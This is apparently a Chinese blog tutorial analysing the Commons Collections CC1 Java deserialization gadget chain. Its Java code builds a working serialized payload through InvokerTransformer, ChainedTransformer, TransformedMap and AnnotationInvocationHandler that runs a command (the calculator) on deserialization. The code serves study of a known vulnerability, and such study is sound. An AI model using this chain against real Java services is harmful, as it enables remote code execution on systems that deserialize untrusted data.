Java反序列化之CommonsCollections(CC1)分析篇

news2024/10/7 12:28:02

文章目录

  • 前言
  • 一、过程分析
    •    1.入口点---危险方法InvokerTransformer.transform()
    •    2.触发危险函数TransformedMap.checkSetValue()
    •    3.AnnotationInvocationHandler类
    •    4.ChainedTransformer类
    •    5.ChainedTransformer类

前言

      本文包括：Java反序列化之CommonsCollections篇(CC1)的一些过程分析。

一、过程分析

   1.入口点—危险方法InvokerTransformer.transform()

     1）入口点是Transformer类，Transformer类是Commons Collections中自定义的一组功能类。Transformer类的功能就是接收一个对象然后调用transform方法，对这个对象做一些操作。
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     2）可以看看这个transformer的实现类有哪些都怎么做的。可以自己逐一看看，CC1链重点类是InvokerTransformer类，所以我们直接看这个类。
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     3）可以发现是input接收一个对象然后通过反射的方法进行函数调用，其中的方法值(iMethodName)，参数类型(iParamTypes)，还有参数(iArgs)，全部都可控，就是一个标准的任意方法调用。这里只需要传入三个参数就可以调用对象中的任意函数了。
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     4）参照并使用InvokerTransformer.transform的写法弹个计算器。在CC1链中InvokerTransformer.transform方法就是最终调用的危险方法。transform()方法主要就是用于对象转换。

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
//        // 1.先弹个计算器
//        Runtime.getRuntime().exec("calc");

//        // 2.写一个普通的反射
//        Runtime r = Runtime.getRuntime();
//        // 获取Runtime的class
//        Class c = Runtime.class;
//        // 获取Runtime的exec方法
//        Method execMethod = c.getMethod("exec",String.class);
//        // 调用exec方法
//        execMethod.invoke(r,"calc");

        // 3.InvokerTransformer的写法
        Runtime r = Runtime.getRuntime();
        // 参数名exec 参数类型是个数组内容为String.class  参数值也是数组内容为calc
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        
    }
}

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   2.触发危险函数TransformedMap.checkSetValue()

     1）上面我们通过InvokerTransformer.transform方法弹了个计算器，然继续往下分析。我们通过案例中的transform，找到InvokerTransformer.java文件中的transform方法，然后在此方法上右键找到都有哪些使用了这个方法，发现一共有21个。
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     2）从这21个结果中逐一去分析，我们主要找不同名字的调用transform，因为transform调用transform没有意义。最终我们找到了这个TransformedMap类，TransformedMap类的功能就是接收一个Map进来然后对它的key和value进行一些操作。可以看到有三个方法都调用了。
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     3）我们直接看第三个checkSetValue方法，发现是checkSetValue方法中的valueTransformer调用了transform()。
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     4）往上翻看一下valueTransformer的构造函数，发现是构造函数是protected受保护的类，说明是自己调用的，功能就是对传进来的map的key和value做一些操作。我们需要找到公共的类，所以还需在看。
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     5）在往上翻看看是在哪里调用了，翻到73行可以看到一个静态方法decorate()，这个方法里完成了装饰的操作。那么就是只要使用公共的静态函数decorate()调用TransformedMap，传入key和value的变换函数Transformer，即可从任意Map对象生成相应的TransformedMap。
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     6）往下找到可控参数后，在往上找看一下谁调用了checkSetValue。可以发现就一例调用了，在AbstractInputCheckedMapDecorator中的setValue。可以发现TransformedMap的父类就是这个AbstractInputCheckedMapDecorator。
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     7）setValue方法在MapEntry类里面，然后再重复之前的动作再找一下是谁调用了setValue，发现有38个结果。
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     8）不想找也可以理解一下，Entry是HashMap遍历的时候，一个键值对就是一个Entry。写一个测试案例理解一下。查看setValue实际上就是entry.setValue()，它是重写了这个方法。

// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("key","value");
// 遍历
for(Map.Entry entry:map.entrySet()){
    entry.getValue();
}

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     9）现在就是只要我们遍历这个被修饰过的Map调用decorate()就会走到这个MapEntry类中的setValue方法。过程简述如下所示。
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     10）一个完整案例。现在就是只要调用setValue方法我们就能执行命令。调用流程如下所示

TransformedMap.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
    }
}

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   3.AnnotationInvocationHandler类

     1）刚刚是描述如何触发这个漏洞，我们手动向修饰过的map中添加新元素从而触发一系列的回调，但在实际的漏洞利用环境中我们肯定是不能手工执行的，我们需要让它在反序列化后能自动触发，也就是说需要找个某个类，在执行了这个类的readObject后能够触发回调的，在继续找是谁调用了，找到了sun.reflect.annotation.AnnotationInvocationHandler这个类。
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     2）这个readObject中有一个遍历Map的功能，这里的一个值调用了setValue方法()，找到这个类后看看有没有什么可控参数，从这个类的名字AnnotationInvocationHandler可知它是动态代理过程中调用处理器类。
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     3）看一下这个AnnotationInvocationHandler类的参数，构造函数中是接收了两个参数，第一个是type是class对象并且继承了Annotation的泛型，第二个是memberValues是Map对象，这个Map对象就是可控的。这里需要注意这个包没有写public，什么也没有写在java里面就是默认的 default类型，default类型只有在这个包里面才能访问。这里就只能用反射去获取了。
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     4）设计一个流程。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

     5）现在这个流程还有几个问题，第一个需要满足两个 if 判断，第二是setValue这个是需要传的是runtime对象，但是现在他是AnnotationTypeMismatchExceptionProxy这个对象，另外就是上例中的Runtime对象是我们自己手动生成的，这个是不能序列化的因为没有继承序列化的接口，所以只能通过反射来使用。
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     6）先解决不能序列化的问题，Runtime.getRuntime()不能序列化但是Runtime.class是可以序列化的。我们查看Runtime这个类，可以发现有个一个方法能够返回Runtime。
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     7）先来一个调用Runtime.class的普通反射。

import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Class c = Runtime.class;
        // 获取静态方法getRuntime  它是一个无参方法所以没有参数类型
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        // 反射调用  因为它是静态方法并且无参数调用所以都为null
        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
        // 反射调用Runtime的exec方法
        Method execMethod = c.getMethod("exec",String.class);
        execMethod.invoke(r,"calc");
    }
}

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     8）还是再来一个InvokerTransformer的版本。第一步先获取到getRuntimeMethod。

// InvokerTransformer的类型为new Class[]和Object[]
// getMethod方法第一个是String，第二个是class数组  ...可变代表数组
// 第一个new Class[]就参照getMethod方法为String.class和Class[].class
// 第二个new Object[] 就是"getRuntime"和null
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]
{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

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     9）第二步获取getRuntimeMethod之后在调用invoke方法。

// InvokerTransformer的类型为new Class[]和new Object[]，
// 第一个new Class[]就参照invoke方法为Object.class和Object[].class
// 第二个new Object[] 就是null和null
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]
{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

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     10）第三步就是反射调用。最终代码和运行结果如下

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        // InvokerTransformer的版本
        Class c = Runtime.class;
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
                new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

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   4.ChainedTransformer类

     1）之前都是循环调用InvokerTransformer，所以使用ChainedTransformer类。ChainedTransformer有序列化的接口。现在解决了Runtime反射调用的问题。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);
    }
}

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     2）在通过调试看一下第一个两个if判断的问题。目前的写法是进不去第一个if判断的。通过调试发现通过序列化接口进入，然后此时的AnnotationType.getInstance(type)中的type为Override，想要获取Override里面成员变量，但是此时值是空的没有值获取不了。
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     3）往下看也知道是先通过memberValue这个键值对，用memberValue.getKey()获取key，获取到key后在memberTypes.get(name)中查找这个key。又因为Override中没有值现在条件不满足，要能满足第一个if条件的话我们需要找到一个有成员方法的class，同时数组的key要改成他成员方法的名字。

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     4）这里是用的Target，里面有一个value()，可以发现再次调试就进入了第一个if判断里面。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
//
        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

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     5）第二个if是判断能否强转，这里强转不了所以能够进入到第二if判断中。

   5.ChainedTransformer类

     1）最后利用ChainedTransformer类完成整个利用链。最终代码和结果如下。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

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Bi-CLKT: Bi-Graph Contrastive Learning based Knowledge Tracing

Bi-CLKT: Bi-Graph Contrastive Learning based Knowledge Tracing

图对比学习 文章目录摘要1 引言2 相关工作2.2 自监督学习2.3 图上的对比学习摘要 知识追踪(KT)的目标是根据学生对相关练习的历史学习来估计他们对一个概念的掌握程度。知识追踪的好处是可以更好地组织和调整学生的学习计划&#xff0c;并在必要时进行干预。随着深度学习的兴起…
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回顾10年发展，2022亚马逊云科技re:Invent全球大会即将来袭

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每年的亚马逊云科技re:Invent全球大会&#xff0c;都是全球云计算领域每年创新发布的关键节点&#xff0c;亚马逊云科技的这些技术发布&#xff0c;无一例外地成为了云计算领域技术发展的风向标&#xff0c;而今年的re:Invent全球大会即将启幕&#xff01; 2012年&#xff0c;亚…
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Java基础40 断点调试（Debug）

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DebugDebug介绍一、debug的使用二、Debug的使用使用1使用2 数组越界异常使用3 追溯源码使用4 直接执行到下一个断点Debug介绍 在开发中&#xff0c;新手程序员在查找错误时&#xff0c;这时老程序员就会提示&#xff0c;可以使用断点调试&#xff0c;一步一步的看源码执行的过…
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